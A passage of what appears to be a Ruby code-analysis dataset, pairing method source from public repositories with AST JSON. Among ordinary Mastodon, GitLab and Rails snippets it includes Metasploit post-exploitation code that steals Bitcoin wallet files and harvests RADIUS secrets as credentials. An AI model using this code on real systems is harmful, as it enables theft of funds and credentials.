\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meth\"]}]},{\"type\":\"str\",\"children\":[\" to be given a block\"]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"options_key\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ON_WORKER_KEY\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"options_key\"]}]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"options_key\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meth\"]}]},{\"type\":\"str\",\"children\":[\"' key must be String or Symbol\"]}]}]}]}]}]}]}","id":"c6ca6497-b256-4afb-927c-1cd282bac75f"} {"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20220309213005_fix_reblog_deleted_at.rb","start_line":6,"raw_source":"def up\n safety_assured do\n execute <<~SQL.squish\n UPDATE statuses s\n SET deleted_at = r.deleted_at\n FROM statuses r\n WHERE\n s.reblog_of_id = r.id\n AND r.deleted_at IS NOT NULL\n SQL\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE statuses s\\n\"]},{\"type\":\"str\",\"children\":[\"SET deleted_at = r.deleted_at\\n\"]},{\"type\":\"str\",\"children\":[\"FROM statuses r\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\" s.reblog_of_id = r.id\\n\"]},{\"type\":\"str\",\"children\":[\" AND r.deleted_at IS NOT NULL\\n\"]}]},\"squish\"]}]}]}]}","id":"20ff3f8e-a17c-48d6-b7d3-836ec1f1cbb2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/bitcoin_jacker.rb","start_line":75,"raw_source":"def jack_wallet(wallet_path)\n data = ''\n wallet_type = case wallet_path\n when /\\.wallet$/\n :armory\n when /wallet\\.dat$/\n :satoshi\n else\n :unknown\n end\n\n if wallet_type == :unknown\n print_error \"Unknown wallet type: #{wallet_path}, nothing to do.\"\n return\n end\n\n print_status(\"#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}\")\n print_status(\"Jackin' wallet...\")\n\n kill_bitcoin_processes if datastore['KILL_PROCESSES']\n\n begin\n data = read_file(wallet_path) || ''\n rescue StandardError => e\n print_error(\"Failed to download #{wallet_path}: #{e.class} #{e}\")\n return\n end\n\n if data.empty?\n print_error('No data found, nothing to save.')\n else\n loot_result = store_loot(\n \"bitcoin.wallet.#{wallet_type}\",\n 'application/octet-stream',\n session,\n data,\n wallet_path,\n \"Bitcoin Wallet (#{wallet_type.to_s.capitalize})\"\n )\n print_status(\"Wallet jacked: #{loot_result}\")\n end\n end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"jack_wallet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wallet_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"wallet_type\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_path\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.wallet$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"armory\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"wallet\\\\.dat$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"sym\",\"children\":[\"satoshi\"]}]},{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"unknown\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown wallet type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_path\"]}]},{\"type\":\"str\",\"children\":[\", nothing to do.\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_type\"]},\"to_s\"]},\"capitalize\"]}]},{\"type\":\"str\",\"children\":[\" Wallet found at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Jackin' wallet...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"KILL_PROCESSES\"]}]},{\"type\":\"send\",\"children\":[null,\"kill_bitcoin_processes\"]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"wallet_path\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to download \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_path\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No data found, nothing to save.\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loot_result\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bitcoin.wallet.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_type\"]}]}]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"wallet_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bitcoin Wallet (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wallet_type\"]},\"to_s\"]},\"capitalize\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Wallet jacked: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_result\"]}]}]}]}]}]}]}]}","id":"ee3672ca-f374-4d00-835a-e8b20b1e7067"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/paths.rb","start_line":97,"raw_source":"def autoload_paths\n filter_by(&:autoload?)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autoload_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"filter_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"autoload?\"]}]}]}]}","id":"6549fe36-53db-4419-a13b-e2817abf1ab7"} {"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/options.rb","start_line":210,"raw_source":"def set_exit_codes\n parser.separator \"\\nExit codes:\"\n parser.on('--success-exit-code CODE',\n 'The exit code when no smells are found ' \\\n \"(default: #{Status::DEFAULT_SUCCESS_EXIT_CODE})\") do |option|\n self.success_exit_code = Integer(option)\n end\n parser.on('--failure-exit-code CODE',\n 'The exit code when smells are found ' \\\n \"(default: #{Status::DEFAULT_FAILURE_EXIT_CODE})\") do |option|\n self.failure_exit_code = Integer(option)\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_exit_codes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"separator\",{\"type\":\"str\",\"children\":[\"\\nExit codes:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"on\",{\"type\":\"str\",\"children\":[\"--success-exit-code CODE\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The exit code when no smells are found \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(default: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"DEFAULT_SUCCESS_EXIT_CODE\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"success_exit_code=\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"option\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"on\",{\"type\":\"str\",\"children\":[\"--failure-exit-code CODE\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The exit code when smells are found \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(default: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"DEFAULT_FAILURE_EXIT_CODE\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"failure_exit_code=\",{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"option\"]}]}]}]}]}]}","id":"a2703b76-72f9-4ae0-8f9d-b3967e07fb29"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/member_limit_check_service.rb","start_line":24,"raw_source":"def valid_importable?\n importable.is_a?(::Group) || importable.is_a?(::Project)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_importable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]}]}]}]}","id":"3eab2d7c-cc19-4920-b9ab-fe39441e089a"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/media_attachment_serializer.rb","start_line":30,"raw_source":"def preview_url\n if object.needs_redownload? || object.discarded?\n media_proxy_url(object.id, :small)\n elsif object.thumbnail.present?\n full_asset_url(object.thumbnail.url(:original))\n elsif object.file.styles.key?(:small)\n full_asset_url(object.file.url(:small))\n end\n end","complexity_score":35.3,"ast_json":"{\"type\":\"def\",\"children\":[\"preview_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"needs_redownload?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"discarded?\"]}]},{\"type\":\"send\",\"children\":[null,\"media_proxy_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"small\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"thumbnail\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"full_asset_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"thumbnail\"]},\"url\",{\"type\":\"sym\",\"children\":[\"original\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"file\"]},\"styles\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"small\"]}]},{\"type\":\"send\",\"children\":[null,\"full_asset_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"file\"]},\"url\",{\"type\":\"sym\",\"children\":[\"small\"]}]}]},null]}]}]}]}","id":"f2573940-54d2-49b6-8190-0337111a9855"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/socket_server.rb","start_line":15,"raw_source":"def initialize(info = {})\n super(update_info(info,\n 'Stance' => Msf::Exploit::Stance::Passive))\n\n register_options(\n [\n OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),\n OptPort.new('SRVPORT', [ true, \"The local port to listen on.\", 8080 ]),\n\n ], Msf::Exploit::Remote::SocketServer\n )\n\n register_advanced_options(\n [\n OptAddress.new('ListenerBindAddress', [ false, 'The specific IP address to bind to if different from SRVHOST']),\n OptPort.new('ListenerBindPort', [false, 'The port to bind to if different from SRVPORT']),\n OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service'])\n ], Msf::Exploit::Remote::SocketServer\n )\n end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stance\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Stance\"]},\"Passive\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddressLocal\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The local port to listen on.\"]},{\"type\":\"int\",\"children\":[8080]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"SocketServer\"]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"ListenerBindAddress\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The specific IP address to bind to if different from SRVHOST\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"ListenerBindPort\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The port to bind to if different from SRVPORT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ListenerComm\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The specific communication channel to use for this service\"]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"SocketServer\"]}]}]}]}","id":"503100e5-7d33-4440-bb3e-732cdc36d19f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/destroy_service.rb","start_line":409,"raw_source":"def publish_project_deleted_event_for(project)\n event = Projects::ProjectDeletedEvent.new(data: {\n project_id: project.id,\n namespace_id: project.namespace_id,\n root_namespace_id: project.root_namespace.id\n })\n\n Gitlab::EventStore.publish(event)\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_project_deleted_event_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"ProjectDeletedEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"root_namespace\"]},\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EventStore\"]},\"publish\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"b11301aa-a56c-4064-ba2c-b7c2d8f22aaa"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails3.rb","start_line":31,"raw_source":"def test_config_sanity\n assert_equal 'utf-8', report[:config].rails[:encoding].value\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_config_sanity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"utf-8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]},\"rails\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoding\"]}]},\"value\"]}]}]}","id":"292ff0bb-be7d-423b-855b-ec148815671d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/setup/tests-metadata.rb","start_line":30,"raw_source":"def verify\n verify_knapsack_report\n verify_flaky_report\n verify_fast_quarantine\n puts 'OK'\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"verify\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_knapsack_report\"]},{\"type\":\"send\",\"children\":[null,\"verify_flaky_report\"]},{\"type\":\"send\",\"children\":[null,\"verify_fast_quarantine\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"OK\"]}]}]}]}","id":"3b04c2a6-2a30-4626-8ad1-4d53d620ae24"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sql/set_operator.rb","start_line":62,"raw_source":"def verify_select_values!(relations)\n return if relations.empty?\n\n all_select_values = relations.map do |relation|\n if relation.respond_to?(:select_values)\n relation.select_values\n else\n relation.projections # Handle Arel based subqueries\n end\n end\n\n return if all_select_values.map(&:size).uniq.one?\n\n relation_select_sizes = all_select_values.map.with_index do |select_values, index|\n if select_values.empty?\n \"Relation ##{index}: *, all columns\"\n else\n \"Relation ##{index}: #{select_values.size} select values\"\n end\n end\n\n exception_text = <<~MESSAGE\n Relations with uneven select values were passed. The UNION query could break when the underlying table changes (add or remove columns).\n\n #{relation_select_sizes.join(\"\\n\")}\n MESSAGE\n\n raise(exception_text)\n end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_select_values!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"all_select_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"select_values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"select_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"projections\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_select_values\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]}]}]},\"uniq\"]},\"one?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"relation_select_sizes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_select_values\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"select_values\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_values\"]},\"empty?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Relation #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\": *, all columns\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Relation #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_values\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" select values\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exception_text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Relations with uneven select values were passed. The UNION query could break when the underlying table changes (add or remove columns).\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_select_sizes\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"exception_text\"]}]}]}]}","id":"af517936-13c4-45bc-9029-4c350fe1f0b5"} {"repo_name":"rubocop","file_path":"./repos/rubocop/spec/support/cops/b_to_c_cop.rb","start_line":10,"raw_source":"def on_class(node)\n return unless node.loc.name.source.include?('B')\n\n add_offense(node.loc.name, message: 'B to C') do |corrector|\n autocorrect(corrector, node)\n end\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]},\"source\"]},\"include?\",{\"type\":\"str\",\"children\":[\"B\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"B to C\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"ee8e89d6-f736-4789-912c-7d5acc9a647f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/ubiquiti.rb","start_line":166,"raw_source":"def process_radiusprofile(lines, credential_data)\n lines.each do |line|\n line['auth_servers'].each do |server|\n report_service(\n host: server['ip'],\n port: server['port'],\n name: 'radius',\n proto: 'udp'\n )\n next unless server['x_secret'] # no need to output if the secret is blank, therefore its not configured\n\n print_good(\"Radius server: #{server['ip']}:#{server['port']} with secret '#{server['x_secret']}'\")\n next unless framework.db.active\n\n cred = credential_data.dup\n cred[:username] = ''\n cred[:private_data] = server['x_secret']\n cred[:address] = server['ip']\n cred[:port] = server['port']\n create_credential_and_login(cred)\n end\n end\n 